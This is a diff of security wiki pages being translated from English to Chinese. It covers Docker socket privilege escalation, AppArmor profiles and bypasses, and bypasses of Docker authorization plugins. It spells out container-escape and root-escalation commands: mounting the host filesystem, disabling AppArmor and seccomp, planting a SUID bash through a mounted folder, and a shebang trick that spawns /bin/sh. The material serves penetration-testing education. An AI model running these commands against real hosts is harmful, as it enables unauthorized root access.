有些情况下你只拥有 **docker socket 的访问权限**,并且想要利用它来 **提升权限**。某些操作可能会非常可疑,你可能想要避免它们,因此在这里你可以找到一些有用的标志来提升权限:
### Via mount
### 通过挂载
You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\
You could also **abuse a mount to escalate privileges** inside the container.
你可以在以 root 身份运行的容器中 **挂载** 文件系统的不同部分并 **访问** 它们。\
你也可以 **利用挂载来提升容器内的权限**
- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.**
- If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt`
- Run `fdisk -l` in the host to find the `</dev/sda1>` device to mount
- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**.
- **`-v /:/host`** -> 在容器中挂载主机文件系统,以便你可以 **读取主机文件系统**
- 如果你想要 **感觉像是在主机上**,但实际上在容器中,你可以使用以下标志禁用其他防御机制:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 这与前面的方法类似,但这里我们是 **挂载设备磁盘**。然后,在容器内运行 `mount /dev/sda1 /mnt`,你可以在 `/mnt`**访问** **主机文件系统**
- 在主机上运行 `fdisk -l` 找到要挂载的 `</dev/sda1>` 设备。
- **`-v /tmp:/host`** -> 如果由于某种原因你只能 **挂载主机的某个目录**,并且你可以在主机内访问它。挂载它并在挂载目录中创建一个 **`/bin/bash`** 具有 **suid** 权限,以便你可以 **从主机执行它并提升到 root**
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> 请注意,也许你无法挂载 `/tmp` 文件夹,但你可以挂载一个 **不同的可写文件夹**。你可以使用以下命令找到可写目录:`find / -writable -type d 2>/dev/null`
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **请注意,并非所有 Linux 机器上的目录都支持 suid 位!** 要检查哪些目录支持 suid 位,请运行 `mount | grep -v "nosuid"`。例如,通常 `/dev/shm``/run``/proc``/sys/fs/cgroup``/var/lib/lxcfs` 不支持 suid 位。
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> 还要注意,如果你可以 **挂载 `/etc`** 或任何其他 **包含配置文件** 的文件夹,你可以在 docker 容器中以 root 身份更改它们,以便 **在主机中利用它们** 并提升权限(可能修改 `/etc/shadow`)。
### Escaping from the container
### 从容器中逃逸
- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work.
- **`--privileged`** -> 使用此标志,你 [移除容器的所有隔离](docker-privileged.md#what-affects)。查看技术以 [以 root 身份从特权容器中逃逸](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)。
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> 为了 [通过能力提升权限](../linux-capabilities.md)**将该能力授予容器** 并禁用可能阻止漏洞工作的其他保护方法。
### Curl
In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page:
在本页中,我们讨论了使用 docker 标志提升权限的方法,你可以在页面中找到 **使用 curl 命令滥用这些方法的方式**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,31 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions.
AppArmor 是一个 **内核增强,旨在通过每个程序的配置文件限制程序可用的资源**,有效地通过将访问控制属性直接与程序而非用户绑定来实现强制访问控制 (MAC)。该系统通过 **将配置文件加载到内核中** 来运行,通常在启动时,这些配置文件规定了程序可以访问的资源,例如网络连接、原始套接字访问和文件权限。
There are two operational modes for AppArmor profiles:
AppArmor 配置文件有两种操作模式:
- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd.
- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions.
- **强制模式**:此模式积极执行配置文件中定义的策略,阻止违反这些政策的操作,并通过 syslog 或 auditd 等系统记录任何试图违反的行为。
- **投诉模式**:与强制模式不同,投诉模式不会阻止违反配置文件政策的操作。相反,它将这些尝试记录为政策违规,而不执行限制。
### Components of AppArmor
### AppArmor 的组件
- **Kernel Module**: Responsible for the enforcement of policies.
- **Policies**: Specify the rules and restrictions for program behavior and resource access.
- **Parser**: Loads policies into the kernel for enforcement or reporting.
- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor.
- **内核模块**:负责政策的执行。
- **政策**:指定程序行为和资源访问的规则和限制。
- **解析器**:将政策加载到内核中以进行执行或报告。
- **实用程序**:这些是用户模式程序,提供与 AppArmor 交互和管理的接口。
### Profiles path
### 配置文件路径
Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\
With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder.
Apparmor 配置文件通常保存在 _**/etc/apparmor.d/**_\
使用 `sudo aa-status`,您将能够列出受某些配置文件限制的二进制文件。如果您将每个列出二进制文件路径中的字符 "/" 更改为点,您将获得提到的文件夹内的 apparmor 配置文件名称。
For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_
### Commands
例如,**apparmor** 配置文件对于 _/usr/bin/man_ 将位于 _/etc/apparmor.d/usr.bin.man_
### 命令
```bash
aa-status #check the current status
aa-enforce #set profile to enforce mode (from disable or complain)
@ -36,47 +35,41 @@ aa-genprof #generate a new profile
aa-logprof #used to change the policy when the binary/program is changed
aa-mergeprof #used to merge the policies
```
## 创建配置文件
## Creating a profile
- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files.
- To indicate the access the binary will have over **files** the following **access controls** can be used:
- **r** (read)
- **w** (write)
- **m** (memory map as executable)
- **k** (file locking)
- **l** (creation hard links)
- **ix** (to execute another program with the new program inheriting policy)
- **Px** (execute under another profile, after cleaning the environment)
- **Cx** (execute under a child profile, after cleaning the environment)
- **Ux** (execute unconfined, after cleaning the environment)
- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \<tunables/global> to the profile file)
- **Deny rules are supported to override allow rules**.
- 为了指示受影响的可执行文件,**绝对路径和通配符**被允许用于指定文件。
- 要指示二进制文件对**文件**的访问,可以使用以下**访问控制**
- **r** (读取)
- **w** (写入)
- **m** (将内存映射为可执行)
- **k** (文件锁定)
- **l** (创建硬链接)
- **ix** (执行另一个程序,新程序继承策略)
- **Px** (在另一个配置文件下执行,清理环境后)
- **Cx** (在子配置文件下执行,清理环境后)
- **Ux** (在无约束下执行,清理环境后)
- **变量**可以在配置文件中定义,并可以从配置文件外部进行操作。例如:@{PROC} 和 @{HOME} (将 #include \<tunables/global> 添加到配置文件)
- **支持拒绝规则以覆盖允许规则**
### aa-genprof
To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\
You just need to run:
要轻松开始创建配置文件apparmor 可以帮助您。可以让**apparmor 检查二进制文件执行的操作,然后让您决定要允许或拒绝哪些操作**。\
您只需运行:
```bash
sudo aa-genprof /path/to/binary
```
Then, in a different console perform all the actions that the binary will usually perform:
然后,在另一个控制台中执行二进制文件通常会执行的所有操作:
```bash
/path/to/binary -a dosomething
```
Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_
然后,在第一个控制台中按“**s**”,然后在记录的操作中指示您想要忽略、允许或其他。当您完成后按“**f**”,新配置文件将创建在 _/etc/apparmor.d/path.to.binary_
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
> 使用箭头键可以选择您想要允许/拒绝/其他的内容
### aa-easyprof
You can also create a template of an apparmor profile of a binary with:
您还可以使用以下命令创建二进制文件的 apparmor 配置文件模板:
```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary
# No template variables specified
"/path/to/binary" {
#include <abstractions/base>
#include <abstractions/base>
# No abstractions specified
# No abstractions specified
# No policy groups specified
# No policy groups specified
# No read paths specified
# No read paths specified
# No write paths specified
# No write paths specified
}
```
> [!NOTE]
> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example.
You can then **enforce** the new profile with
> 请注意,在创建的配置文件中,默认情况下不允许任何操作,因此所有操作都被拒绝。您需要添加类似 `/etc/passwd r,` 的行,以允许二进制文件读取 `/etc/passwd`,例如。
您可以然后 **enforce** 新的配置文件,使用
```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### 从日志修改配置文件
### Modifying a profile from logs
The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions:
以下工具将读取日志并询问用户是否要允许某些检测到的禁止操作:
```bash
sudo aa-logprof
```
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
### Managing a Profile
> 使用箭头键可以选择您想要允许/拒绝/其他的内容
### 管理配置文件
```bash
#Main profile management commands
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## 日志
## Logs
Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**:
示例 **AUDIT****DENIED** 日志来自 _/var/log/audit/audit.log_ 的可执行文件 **`service_bin`**
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
You can also get this information using:
您还可以使用以下方法获取此信息:
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Apparmor in Docker
Note how the profile **docker-profile** of docker is loaded by default:
注意 **docker-profile** 的配置文件是默认加载的:
```bash
sudo aa-status
apparmor module is loaded.
50 profiles are loaded.
13 profiles are in enforce mode.
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
```
默认情况下,**Apparmor docker-default 配置文件**是从 [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) 生成的。
By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
**docker-default 配置文件摘要**
**docker-default profile Summary**:
- **Access** to all **networking**
- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \<abstractions/base> )
- **Writing** to any **/proc** file is **not allowed**
- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access
- **Mount** is **not allowed**
- **Ptrace** can only be run on a process that is confined by **same apparmor profile**
Once you **run a docker container** you should see the following output:
- **访问**所有**网络**
- **未定义能力**(但是,一些能力将来自包含基本基础规则,即 #include \<abstractions/base>
- **写入**任何**/proc** 文件**不允许**
- 其他**/proc**和**/sys**的**子目录**/**文件**被**拒绝**读/写/锁/链接/执行访问
- **挂载****不允许**
- **Ptrace**只能在被**相同 apparmor 配置文件**限制的进程上运行
一旦你**运行一个 docker 容器**,你应该看到以下输出:
```bash
1 processes are in enforce mode.
docker-default (825)
docker-default (825)
```
Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access:
注意,**apparmor 甚至会阻止默认情况下授予容器的能力特权**。例如,它将能够**阻止写入 /proc 的权限,即使授予了 SYS_ADMIN 能力**,因为默认情况下 docker apparmor 配置文件拒绝此访问:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
You need to **disable apparmor** to bypass its restrictions:
您需要**禁用 apparmor**以绕过其限制:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
请注意,默认情况下,**AppArmor** 还会 **禁止容器从内部挂载** 文件夹,即使具有 SYS_ADMIN 能力。
Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability.
请注意,您可以 **添加/删除** **能力** 到 docker 容器(这仍然会受到 **AppArmor****Seccomp** 等保护方法的限制):
Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**):
- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap
- `--cap-add=ALL` give all caps
- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE`
- `--cap-add=SYS_ADMIN` 给予 `SYS_ADMIN` 能力
- `--cap-add=ALL` 给予所有能力
- `--cap-drop=ALL --cap-add=SYS_PTRACE` 删除所有能力,仅给予 `SYS_PTRACE`
> [!NOTE]
> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**.
> 通常,当您 **发现****docker** 容器 **内部** 有一个 **特权能力** 可用 **但** 某些部分的 **利用没有工作** 时,这将是因为 docker **apparmor 会阻止它**
### Example
### 示例
(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added:
(示例来自 [**这里**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
为了说明 AppArmor 的功能,我创建了一个新的 Docker 配置文件 “mydocker”并添加了以下行
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
To activate the profile, we need to do the following:
要激活配置文件,我们需要执行以下操作:
```
sudo apparmor_parser -r -W mydocker
```
To list the profiles, we can do the following command. The command below is listing my new AppArmor profile.
要列出配置文件,我们可以执行以下命令。下面的命令列出了我新的 AppArmor 配置文件。
```
$ sudo apparmor_status | grep mydocker
mydocker
mydocker
```
As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”.
如下面所示,当尝试更改“/etc/”时,我们会遇到错误,因为 AppArmor 配置文件阻止对“/etc”的写入访问。
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Bypass1
You can find which **apparmor profile is running a container** using:
您可以使用以下命令找到**正在运行容器的 apparmor 配置文件**
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```
Then, you can run the following line to **find the exact profile being used**:
然后,您可以运行以下命令来**查找正在使用的确切配置文件**
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them.
在奇怪的情况下,你可以**修改 apparmor docker 配置文件并重新加载它。** 你可以删除限制并“绕过”它们。
### AppArmor Docker Bypass2
**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**.
**AppArmor 是基于路径的,** 这意味着即使它可能在保护像 **`/proc`** 这样的目录中的文件,如果你可以**配置容器的运行方式,** 你可以**挂载**主机的 proc 目录到 **`/host/proc`**,并且它**将不再受到 AppArmor 的保护**。
### AppArmor Shebang Bypass
In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.:
在 [**这个漏洞**](https://bugs.launchpad.net/apparmor/+bug/1911431) 中,你可以看到一个例子,说明**即使你正在防止 perl 使用某些资源运行,** 如果你只需创建一个 shell 脚本**在第一行指定** **`#!/usr/bin/perl`** 并且你**直接执行该文件,** 你将能够执行你想要的任何内容。例如:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,75 +1,70 @@
{{#include ../../../banners/hacktricks-training.md}}
**Dockers** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Dockers Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon.
**Docker** 的开箱即用 **授权** 模型是 **全有或全无**。任何有权限访问 Docker 守护进程的用户都可以 **运行任何** Docker 客户端 **命令**。使用 Docker 的引擎 API 联系守护进程的调用者也是如此。如果您需要 **更严格的访问控制**,可以创建 **授权插件** 并将其添加到 Docker 守护进程配置中。使用授权插件Docker 管理员可以 **配置细粒度访问** 策略来管理对 Docker 守护进程的访问。
# Basic architecture
# 基本架构
Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**.
Docker Auth 插件是 **外部** **插件**,您可以使用它们来 **允许/拒绝** 请求到 Docker 守护进程的 **操作**,具体取决于请求的 **用户****请求的操作**
**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
**[以下信息来自文档](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request.
当通过 CLI 或引擎 API 向 Docker **守护进程** 发出 **HTTP** **请求** 时,**身份验证** **子系统** 会将请求传递给已安装的 **身份验证** **插件**。请求包含用户(调用者)和命令上下文。**插件** 负责决定是否 **允许****拒绝** 请求。
The sequence diagrams below depict an allow and deny authorization flow:
下面的序列图描绘了允许和拒绝的授权流程:
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png)
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png)
Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent.
每个发送到插件的请求 **包括经过身份验证的用户、HTTP 头和请求/响应主体**。只有 **用户名****使用的身份验证方法** 被传递给插件。最重要的是,**不** 会传递用户 **凭据** 或令牌。最后,**并非所有请求/响应主体都发送** 到授权插件。只有那些 `Content-Type``text/*``application/json` 的请求/响应主体会被发送。
For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins.
对于可能劫持 HTTP 连接的命令(`HTTP Upgrade`),如 `exec`,授权插件仅在初始 HTTP 请求时被调用。一旦插件批准命令,后续流程不再应用授权。具体来说,流数据不会传递给授权插件。对于返回分块 HTTP 响应的命令,如 `logs``events`,仅 HTTP 请求会发送到授权插件。
During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies.
在请求/响应处理期间,一些授权流程可能需要对 Docker 守护进程进行额外查询。为了完成这些流程,插件可以像普通用户一样调用守护进程 API。为了启用这些额外查询插件必须提供管理员配置适当身份验证和安全策略的手段。
## Several Plugins
## 多个插件
You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted.
您负责将 **插件** 注册为 Docker 守护进程 **启动** 的一部分。您可以安装 **多个插件并将它们链接在一起**。这个链可以是有序的。每个对守护进程的请求按顺序通过链。只有当 **所有插件都授予对资源的访问** 时,访问才会被授予。
# Plugin Examples
# 插件示例
## Twistlock AuthZ Broker
The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user.
插件 [**authz**](https://github.com/twistlock/authz) 允许您创建一个简单的 **JSON** 文件,插件将 **读取** 该文件以授权请求。因此,它为您提供了非常简单的机会来控制哪些 API 端点可以到达每个用户。
This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
这是一个示例,允许 Alice 和 Bob 创建新容器:`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action
在页面 [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) 中,您可以找到请求的 URL 与操作之间的关系。在页面 [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) 中,您可以找到操作名称与操作之间的关系。
## Simple Plugin Tutorial
## 简单插件教程
You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
您可以在这里找到一个 **易于理解的插件**,其中包含有关安装和调试的详细信息:[**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Read the `README` and the `plugin.go` code to understand how is it working.
阅读 `README``plugin.go` 代码以了解其工作原理。
# Docker Auth Plugin Bypass
# Docker Auth 插件绕过
## Enumerate access
## 枚举访问
The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**.
主要检查的内容是 **哪些端点被允许****哪些 HostConfig 值被允许**
To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
要执行此枚举,您可以 **使用工具** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
## disallowed `run --privileged`
### Minimum Privileges
## 不允许的 `run --privileged`
### 最小权限
```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
### 运行容器并获得特权会话
### Running a container and then getting a privileged session
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
在这种情况下,系统管理员**不允许用户挂载卷并使用 `--privileged` 标志运行容器**或给予容器任何额外的能力:
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
However, a user can **create a shell inside the running container and give it the extra privileges**:
然而,用户可以**在运行中的容器内创建一个 shell 并赋予其额外的权限**
```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
现在,用户可以使用任何[**之前讨论过的技术**](./#privileged-flag)从容器中逃逸并在主机内部**提升权限**。
Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host.
## Mount Writable Folder
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
## 挂载可写文件夹
在这种情况下,系统管理员**不允许用户使用`--privileged`标志运行容器**或给予容器任何额外的能力,他只允许挂载`/tmp`文件夹:
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
-p #This will give you a shell as root
```
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> 请注意,您可能无法挂载文件夹 `/tmp`,但您可以挂载一个 **不同的可写文件夹**。您可以使用以下命令查找可写目录: `find / -writable -type d 2>/dev/null`
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **请注意,并非所有 Linux 机器上的目录都支持 suid 位!** 要检查哪些目录支持 suid 位,请运行 `mount | grep -v "nosuid"`。例如,通常 `/dev/shm``/run``/proc``/sys/fs/cgroup``/var/lib/lxcfs` 不支持 suid 位。
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> 还要注意,如果您可以 **挂载 `/etc`** 或任何其他 **包含配置文件** 的文件夹,您可以作为 root 从 docker 容器中更改它们,以便在主机上 **滥用它们** 并提升权限(可能修改 `/etc/shadow`
## Unchecked API Endpoint
## 未检查的 API 端点
The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.**
配置此插件的系统管理员的责任是控制每个用户可以执行的操作及其权限。因此,如果管理员对端点和属性采取 **黑名单** 方法,他可能会 **忘记其中一些**,这可能允许攻击者 **提升权限**
You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
您可以在 [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) 检查 docker API
## Unchecked JSON Structure
## 未检查的 JSON 结构
### Binds in root
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:
### 根目录中的绑定
